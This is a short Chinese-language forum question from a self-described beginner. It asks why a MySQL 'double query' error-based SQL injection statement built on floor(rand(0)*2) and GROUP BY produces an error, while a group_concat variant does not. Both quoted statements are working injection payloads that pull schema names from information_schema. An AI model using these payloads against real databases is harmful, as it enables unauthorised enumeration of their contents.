双查询注入问题

新手上路,请多包涵

下面是双查询注入语句,会正常报错。

select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x;

但改成下面为啥就可以正常执行,不会报错了。

select count(*),concat(((select group_concat(schema_name) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x
阅读 953
撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题